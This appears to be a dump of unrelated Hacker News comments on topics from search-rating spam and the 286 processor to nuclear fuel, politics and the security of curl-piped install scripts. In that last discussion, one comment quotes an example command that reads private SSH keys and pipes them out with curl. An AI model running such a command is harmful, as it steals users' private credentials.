skysight-inc/HackerNews huggingface dataset:
You need to do it with user accounts so the search engine team can remove fake clicks and ban the user. Users with a low amount of ratings won't have any say in the rating of the site, since they will have a low confidence.

They will first need to rate a few hundred sites (valid ratings, because if they don't have high validity with the rest of the sites in the database the confidence this is a valid user will be low) to give the spam site a high rating. So they will have already built a database of good ratings before they can give the last vote that they get paid for?

Also, you can manually remove a spam site that uses this tactic and all their money will have been wasted.
The whole article seems weirdly worded. I the idea about using a magnetic just seems ridiculous. Maybe I am missing something...

It sounds more like a coded message for someone then it does a real article, but maybe I have been watching to many science-fiction movies lately..
Living in a climate where buildings and clothing are adapted to cold, I rarely find myself cold enough to shiver, so I'm not sure there would be much difference. People actively avoid cold despite the weather.
Game design, some animation, news article drawings, scientific illustrations, ui elements, apps, etc are exactly what it's good for and that's great. AI image generation will be a hit and make things more interesting to look at on the internet overall.
I would guess not.

to me, the "libertarian hacker" de facto standard peaked in the mid 00s (around when TFA was written), when everyone was enthusiastic about the Internet and Ron Paul and Larry Lessig and Information Wanting To Be Free and 09F9 and BitTorrent. then social media happened and everyone got an always-on Internet connection in their pockets at all times and now the Pauls are evil Republicans just like the rest of em, free speech is dangerous and should be restricted and limited on all platforms at all costs, and identity politics (of all flavors) are more important than everyone being a pseudonymous handle on the Internet, treated equally by default. there used to be this feeling that the future of the Internet was just going to be fuckin awesome because it would pierce through all existing societal constructs like bigotry and racism, connecting people of all stripes equally in this crazy libertarianesque online network of computers, and what could come of that but societal advancement, increased creative output, and a general world-improving fair and equal exchange of ideas?

I rarely, if ever, see any of that kind of idealism anymore, both in theory and in practice, and I miss it dearly.
AFAIK, nobody outside of Intel has a clear idea why they made the "protection enable" bit sticky on the 286. If the attacker controls ring 0, preventing them from exiting protected mode serves no purpose.

No later CPU had this "security feature".
That is assuming slow nuclear reactors, which is the case for the majority of the current reactors. But with fast reactors, you gain a factor of about 100, so the 200 years turn into 20000 [1]

The big picture effect is that U238 is usable as fuel instead of just U235. There is over 100x more U238 in nature than U235, so the time that 200 years of uranium can last humanity turns into 20,000.

[1] https://whatisnuclear.com/fast-reactor.html
As we get to 64 bits and more the temptation to do “useful” things with the unused bits will grow …
A quick search shows that LOADALL can only be run from ring 0, so the same might be true for STOREALL. So ring 0 kernel could use STOREALL to return to real mode, but ring 3 user code would probably get an illegal instruction trap.
Request: https://www.fec.gov/files/legal/aos/2022-14/202214R_1.pdf

Google was like "Hey, FEC, we're planning to do this thing; is it illegal? Our lawyers want to know if this counts as a campaign contribution before we start doing it and accidentally break the law". The FEC considered it and replied with a public letter stating that, in their opinion, this isn't a crime.

Final AO: https://www.fec.gov/files/legal/aos/2022-14/2022-14.pdf

Any other email provider could do the same now of course: it's just an opinion about the law, not a rule specific to Google.

Google also could have gone ahead and just done it, of course, but having the AO in hand puts the lawyers at ease.
diameter I assume...
Ah fair. I lived in Belltown and never needed a car - walking throughout BT, SLU capHill, etc got me everything I needed.

Im no biker since I’m too nervous about getting hit. I don’t understand how people get on the road next to cars. With hills like SF no way would I do that either. I can just imagine myself hurtling down the hill into oncoming traffic.

I don’t quite understand the rankings either, but I can say from loved experience that I can walk everywhere I needed, so far. Of course every neighborhood is a bit different, too.
He might find "polymetallic nodules". Supposedly there are large fields of them on the ocean floor.
If someone has pulled off a sophisticated enough attack to intercept your http curl of the script and inject a malicious version, why can't they also intercept your brower http requests for the download page and inject different html that gives a good hash/checksum of the malicious script?

Going even further, what is stopping a malicious attack on the package source itself--like someone gaining control of the package source and committing a malicious version (as NPM, pypi and other registries have seen)?

The point is, "use your package manager" is not any better in the grand scheme of things than blindly curling and executing a script. Neither option is perfectly secure.
PCs don't even have space for insertable drives anymore, let alone blueray players! It's weird to now be in an age where the idea of encoding data on spinning plastic is archaic, but when you can cram literally hundreds of gigabytes in the head of a USB Type-A port it's kinda hard to justify anything else
Not-so-shockingly, the way they did it was to use an actual 286 chip to "emulate" itself, with some extra pins to allow the debugging hardware to monitor it and take control.

...and the code of the ICE itself ran on the CPU, so in other words, it's like a hypervisor. It's amazing that Intel was so close to giving the 286 a true virtualisation feature.

I first posted about this on the VCFed.org forums in 2019,

...and I remember reading about this in 2019 too:

https://forum.vcfed.org/index.php?threads/i-found-the-saveal...
> the only threats being made is to displace board members

Really? Have you seen every single threat being made, either public or private? I don’t believe it.

When I worked at a large social media website, users would scream bloody murder about unfair moderation. But when I asked customer support, they always had good evidence that the user had terrible behavior in private but pretend to be virtuous in public to gather sympathy.

This is an asymmetric information space. The DOJ/FBI won’t release the actual evidence they have which triggered the opening of an investigation. The people who show up at board meetings are humans and had lives before they showed up. They posted on social media. They met with other people. They have political affiliations. I am fairly certain we will find out that these people made legit threats outside of the public forum that earned further investigation.
lol i'd like to see these germs that can survive at 400F pan temperatures lol
The increased electricity production would be needed to shift fossil usage in industry to electricity.
While an interesting thought, it's not at all what I had in mind. I was imagine stealing the wind from the neighboring town. Let me draw a figure

wind
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Tip for critiquing the front page of a programming language website: make sure you're actually looking at the front page.

http://objective.st
Do you mean for the original comment complaining about the script?

> Please don't complain about tangential annoyances—things like article or website formats, name collisions, or back-button breakage. They're too common to be interesting.

> Avoid unrelated controversies, generic tangents, and internet tropes.

> Please don't post shallow dismissals, especially of other people's work.

> Please don't pick the most provocative thing in an article or post to complain about in the thread. Find something interesting to respond to instead.
Let’s estimate the expected value for that $1.5M…

My estimate is something less than $0.01.
Niobium on its own isn't even ferromagnetic, it's paramagnetic, and not very strong. However, it can be alloyed with other metals including iron and nickel to produce a stronger magnet than any pure element.
I hear, so assume I didn't graduate primary school, where would you suggest I start to avoid needing to google random blog posts on the spot?
Strong recommendation for Mastering Grain Markets[0] if the discussion in this thread around why spring wheat is up interests you. Global ag commodities like this are keyed off of so many events, it’s really interesting to dive into the history and mechanisms that exist in the space to deal with volatility. I read this book when interviewing with a geospatial intelligence company in this space and I learned way more than I expected (having some previous mix of academic training in the Midwest that frequently touched on ag).

Also the podcast Escaping 1980[1] if you want an example of a global event that drastically altered US ag production, leading to a decline/crisis that plenty of farmers still have as a pivotal event in their memory.

[0] https://www.goodreads.com/en/book/show/15891377-mastering-th...

[1] https://aei.ag/escaping1980/ (not that AEI)
You are completely right about the potential magnitude of the hack, but my first approach was purely as an individual consumer, this doesn't affect me. Seeing this as an engineer...yikes
If they upvote a lot of spam sites, their account will have a low confidence rating, and won't influence each site's confidence.

If they actually downvote a few hundred spam sites before casting a vote for a spam site to promote it, then they will have built a 99.5% good database already and one site can be manually removed. The only way to have a high confidence in a user if they both downvote bad sites and upvote good sites. If they did that work to verify their accounts to be valid, then they will have done more good than harm
As I always look at the comments first, I've got confused with no information about if he died or not. Had to click the link.
When you're in an active situation you don't have time to wait 8 months for a trial to clear things up. Rittenhouse believed he acted in self-defense... And at the time, so did Huber, and Grosskreutz.
>Pretending that it's totally fine because it's "privacy" not money laundering because crypto is special... is likewise absurd.

Privacy is definitely a legitimate use for something like Tornado Cash, what are you talking about? Hell, if someone found out what my address is and it's not in my best interest that this person knew about it, I would definitely use it just to move my funds to another address.

If you sell me a screwdriver and then I go and kill someone with it, should you be prosecuted for it?
The implication of “we can probably find out where it breaks and the distros will catch it” is kinda fly-by-the-pants. Honestly surprised by it.
> Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..."

If you can inject that breaking TLS which secures everything on the internet, why can't you inject your own checksum on the "download page"?
You're thinking from an implementor's perspective. From the customer's perspective, it's a weird nonlinear pricing model that charges you more to be taken a shorter distance. Honest people who forgot their keys at home or whatever and need to run back home have to deal with the nonlinearity.
Terrorism is all political violence, except violence made by legitimate governments.
I'd say you'd probably fit into the archetypal libertarianish techie mould - "socially liberal, economically conservative", valuing pragmatism above all with a bias towards technological/engineered solutions, and perhaps generally apolitical and disliking of labels. Not to label you specifically, but I think that sort of soft-libertarian is a common engineering archetype, both on HN and other tech communities all the way back to the BBS era.

I think it's still a pretty common political formulation to have around here, but with all of the messes and crises of the past couple of decades, I see on HN people might be more receptive to something to rein in large corporations, whether it be government or even organized worker power.

Was the Swedish financial trade tax a Tobin tax?
There should be a relevance score, and it might be cross-referenced to other similar search queries that mean the same thing, but that's a machine learning project all on itself
> Some have been suckered into thinking something like an "originalist" or "textualist" interpretation of the US constitution is somehow a real thing.
It's not. In fact, it's a fairly modern invention from the Nixon era created with the expressed purpose of rationalizing a socially conservative agenda.

It's not less real or moderns than the "Living Constitution" Theory which dates to the progressive era and was first tested in a case that overturned the government's first attempt at an income tax.

Moreover a proper originalist interpretation of the wiretaps and indeed many technological searches is that they violate the 4th amendment as Scalia found in a GPS related case and Gorsuch dissented in several more recent cases. Scalia was kind of all over the map on police powers and Thomas just makes shit up so I think there's plenty of room to criticism them.
Do you know why the two plastics are different? I would naively expect that everything that would work as the inner layer in tetrapak would also work in cans (cans deform less). Is it that making the layer stick to tetrapak is simpler/different than making it stick to metal?
PTFE is still perfectly safe. This is a scare tactic and click bait. PFOAs have been out of vogue for a long time.
> I don't know how ABSEIL fares around exception safety when exceptions are enabled so YMMV there if you're doing things in an exception context

OMG this is my time to shine. I wrote the library for testing Abseil containers for exception-safety. I don't work there anymore but I know they've implemented exception safety tests for a bunch of containers in there, and I remember when I was writing the library we even found a bug in GNU `std::optional`.

https://www.youtube.com/watch?v=XPzHNSUnTc4 is the talk I gave at cppCon about this.

As a side story, that talk was the first one in the morning and I showed up just before it started on account of my Uber driver missing the highway exit. I had planned to grab some food at the conference but didn't have time so that whole talk I was overstimulated on coffee on an empty stomach trying to keep my composure early in the morning.
I scanned Bloomberg, until I explained how an automaton knows itself (256 times)
Yep, sometimes it does. Cherry picking can make up for a lot of flaws.
The Twitter post in question (https://twitter.com/wholemarsblog/status/1557112809132945408) says “(this is a serious request)”.

Fine, then let’s treat it like a serious request. Apparently someone volunteered a child (https://twitter.com/wholemarsblog/status/1557206098876194816, presumably their own child).

Has this (pseudonymous) person done a proper study workup? This is a proposal to put a child into a potentially life-threatening situation. I hope they’ve written up (and had reviewed) the rationale for why this can’t be simulated first. And I hope they’ve gotten the snapshot of the Tesla software used, for reference.

And for the person who volunteered their own child, I wonder if they should be talking to CPS right now.

The person who made the Twitter post mentioned the Bay Area. If they are serious, try going to a place like the Center for Automotive Research at Stanford, talking to the people there, and doing a study.
A Great language for politicians then
Nobody said I can't use a SIMILAR search query to have a slightly lower bound for relevance. Machine learning can identify if two queries mean a similar thing in the context of search
Chasing Stability – A Stablecoin Deep Dive
no, you don't. I ripped many a blu-ray with an unsupported blu-ray drive (I was even the one to mail in the copy of the firmware as requested by makemkv when it doesn't recognize a drive). ripped great up until the poor drive started having read errors (much later).

new drive supports libredrive though, but I've noticed no real difference in functionality/behavior.
UFO nuts are probably already making memes like, "See, even Harvard believes in E.T." Just like they did about the gov't report that said "of course there are unidentified objects in our skies."

But, unlike their favorite Facebook group's grainy phone videos, this sounds fairly real. Drag the thing up and put it under a spectrograph, and if we haven't seen the stuff in it before, figure out what that means.
It’s to prevent the general public from copying everything en masse, like people did in the VHS and audio cassette days. Now it’s only enthusiasts who are willing to jump through the hoops it takes. Of course, the general public also largely doesn’t buy physical media anymore.
> I'll take plain text over WYSIWYG any day, thanks.

I couldn't agree more. It's a bit convoluted, but one thing you can do is write code in plain text files, in the Power Query M language, and load it using a combination of Folder.Files [0], BinaryFormat.Text [1], and Expression.Evaluate [2] (in the #shared environment).

On the downside, everything is no longer self-contained in the workbook. On the upside, everything is no longer self-contained in the workbook, and you can actually, like, check the code into git.

[0]: https://docs.microsoft.com/en-us/powerquery-m/folder-files

[1]: https://docs.microsoft.com/en-us/powerquery-m/binaryformat-t...

[2]: https://docs.microsoft.com/en-us/powerquery-m/expression-eva...
True. A lot of corporate policies are to never handle physical client documents. Scan them and send them to a secure drive.
BigTalk!
The price is insane, but that's what you get when you ask for something that's a fighter, a bomber, a close-air support aircraft, a carrier-capable aircraft, a VTOL, and stealthed. The amazing thing is that the F-35 actually can do all that.

Whether combining all that functionality was a good idea is questionable. Because there aren't enough F-35s for a serious war, like Ukraine or Taiwan.
Right. I was just correcting the grammar, not his (wild) assumptions.
Hmm. Could this actually be the peak of one of those distant mountains or hills peaking through low blankets of fog and clouds? The jet could be flying closer to the ground than it appears. Or it could be a bird.
Very good article.

I think a lot of the fear around these things is not really conducent to a proper solution.

Some technology is so dangerous that it is banned, for example, nuclear weapons. But some countries still have nuclear weapons and that puts them on a very advantageous position compared to the rest of the world. Of course, we say we don't want unstable countries to have them but then again... Russia does.

Every technology that is developed will get to be on the hands of the powerful; be it the richest or the ones with the best political connections and this will not be in any way an exception for content generation ai. Paying for it will not make you use it in a more responsible way, and of course, for these big companies to decide what is acceptable and what is not is a non democratic way of restricting speech. They're obviously in their right to do so but I wouldn't hail them as anything other than self interested entities.

I think the future many of these companies envision is the same locked on present that companies like apple have built. To me, thats not desirable.

I want people to be free to use these generation models to create as much as they want. Copyright be damned. But then again, I am also in the "it's not piracy it's illegal copying" boat. Ultimately I think this discussion is, and never has been, about the harm these tools could do to democracy but the harm they could do to intellectual property holders. I mean, people don't need realistic deep fakes to believe outrageous things anyway and anyone who is critical will double check information but people don't do that because they don't care and so it really doesn't matter how good deep fakes or fake news get because they already are good enough (and I'm talking about Q conspiracy tier lies).

The problem isn't the tools, the problem isn't the speech, the problem is that our education system doesn't prepare us for true critical thinking.

Give us the tools and give us the knowledge.
Or just a chunk of titanium. It's only made in novas and supernovas so having an abnormal trajectory, and speed only supports the theory. A bunch of titanium slapped onto some rock and then later breaks off or something.
isnt truly distilled water lacking any minerals?

i would think you would need to add back (salt, magnesium, calcium etc) whatever was lost or it would be pretty unhealthy. [0]

[0] https://healthyliving.azcentral.com/what-are-the-dangers-of-...
The same way people protect themselves now. Don’t live in neighborhoods where stuff like that happens. Don’t buy an expensive robot in the hood, the same way you wouldn’t buy an expensive watch.
LWN Editor Jonathan Corbet regularly drops in on HN threads like this to reassure people that posting subscriber links to HN is okay.
I admire what he did, we should have more people in the world like him.
Right. A different _tool_ because they described paradigms aren’t language paradigms- they’re patterns or frameworks expressed more easily but also more commonly in some languages than others because of completely unrelated historical accidents.

We have different languages because we do different things with them, and any Turing complete language can achieve any desired program. So what we’re left with is a misunderstanding about what is the “language”, “runtime”, and … “pattern?”

There is no useful definition of “general purpose language” except to disqualify languages that are not general purpose. That’s a fine distinction to make when describing how SQL will never replace JavaScript, Java, or C- but a useless distinction when describing the characteristics of your new language that is also Turing complete.

In particular item 4 “Implicit Invocation / Event Broadcast” is one of those things that hides an enormous amount of implementation complexity that arguably shouldn’t be made magical. Like async / await or go channels, the details make all the difference and there’s not a one size fits all approach that you can take without creating serious problems for other cases. It has to be an opinionated and therefore (sometimes/often) approach depending on what you’re attempting to accomplish.
It's an officially supported feature; if lwn doesn't mind, why should we?
No, I believe GP is advocating against language-specific tools being the standard. In the ideal world you would have a Makefile that calls cargo so "make" still works like it does identically in the js or python or golang repos.
Technically, a 99.999% likelihood is not confirmed, but it's good enough for the girls I go out with.
Many thanks! I'll try this.
Dialogue as design parameter – Krøyers Plads, Copenhagen
This actually doesn't protect you the way you think it does. Using a simple check of the user agent which makes the request, an innocuous file may be served to browser requests, while an infected file may be served to cURL requests.